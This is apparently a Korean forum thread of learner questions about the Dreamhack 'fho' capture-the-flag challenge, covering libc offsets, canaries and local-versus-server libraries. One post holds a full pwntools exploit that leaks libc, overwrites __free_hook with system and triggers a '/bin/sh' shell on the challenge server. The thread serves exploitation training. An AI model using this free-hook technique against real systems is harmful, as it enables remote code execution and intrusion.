libc 버전이 바뀌었을 때 다시 확인해야 하는 값들이 몇몇 있던데, 디버깅 하게되면 사용자 컴퓨터의 libc 기준으로 하는거 같아서 해결법이 있는지 궁금합니다 ㅠㅠ

libc의 버전또한 알아내는 것이 문제의 의도인지 궁금합니다 :) 또는 libc 정보 없이도 해결이 가능한가요?

아래는 작성 한 익스플로잇 코드와 실행 결과입니다. 코드는 잘 작성한 거 같은데 이상하게도 실행만 하면 도중에 쉘이 끊기네요..... 어떤 부분이 문제일까요.....? 1 #!/usr/bin/python3 2 3 from pwn import * 4 5 p = remote("host3.dreamhack.games", 11357) 6 e = ELF("./fho") 7 lib = ELF("./libc-2.27.so") 8 9 payload = b"A"*0x48 10 p.sendafter("Buf: ", payload) 11 p.recvuntil(payload) 12 libc_start_main = u64(p.recvn(6) + b"\x00" * 2) 13 14 libc_base = libc_start_main - (lib.symbols["__libc_start_main"] - 243) 15 system = libc_base + lib.symbols["system"] 16 free_hook = libc_base + lib.symbols["__free_hook"] 17 binsh = libc_base + next(lib.search(b"/bin/sh")) 18 19 print(hex(libc_base)) 20 print(hex(system)) 21 print(hex(free_hook)) 22 print(hex(binsh)) 23 24 p.sendlineafter("To write: ", str(free_hook)) 25 p.sendlineafter("With: ", str(system)) 26 p.sendlineafter("To free: ", str(binsh)) 27 28 p.interactive()

$ nc host3.dreamhack.games 15557 [1] Stack buffer overflow Buf: 11 Buf: 11 [2] Arbitary-Address-Write To write: 22 With: 33 [0x16] = 33 44 55 66 $ 서버 동작이 이상합니다. 테스트를 해보면 문제와 다르게 아래 코드가 동작 안 합니다. puts("[3] Arbitrary-Address-Free"); printf("To free: "); scanf("%llu", &addr); free(addr); 확인 요청 드립니다.

도커 파일도 없는 상황에서는 찍는 방법밖에 없나요? 풀기는 했는데 로컬에서 실험하다 고생을 좀 해서...

libc.symbols['__libc_start_main'] + 231 이 부분이 이해가 되지 않습니다. fho 실행 파일 gdb에서 스택 찍어보면 ret에 찍혀 있는 주소값이 있고 해당 주소값을 확인해보면 __libc_start_main + 205라고 되어있는데요 왜 231이 답이되는걸까요?

gdb에서 확인해 보면 libc_start_main+231 로 보이는것은 알겠습니다. 어느 시스템이나 모두 231은 동일한 것인가요?

지금은 문제에서 libc 파일이 주어져 이를 통해 버전을 알아낼 수 있었고 도커를 굳이 쓸 필요 없었는데, 도커 파일은 이런 파일을 주지 않는 경우에 쓰는 건가요?

여기 문제에서 libc_main 주소 얻으려고 ret주소까지 buf를 채우잖아요. 근데 카나리가 있는데 ret까지 buf까지 채우면 강제종료 돼야 하는거 아닌가요?

문제파일에 주어진 라이브러리는 서버 환경에서 사용하는 라이브러리 아닌가요? 질문들보면 서버랑 로컬 라이브러리 다르다고 고군분투 하시는 분들 많은 것 같은데, 주어진 라이브러리 파일이 서버에서 사용하는게 아닌가해서...! 궁금해서 여쭤봅니다!!! 만약 그게 아니면 라이브러리 파일은 왜 주는 건가요? 그리고 문제파일에서 주는 실행파일은 서버기준으로 컴파일한 파일 아닌가요? 그런데도 로컬환경이랑 다른걸 신경써야되는 이유를 모르겠습니다 제가 잘못 알고 있는게 있는 것 같은데 알려주시면 감사드리겠습니다 ㅜㅜ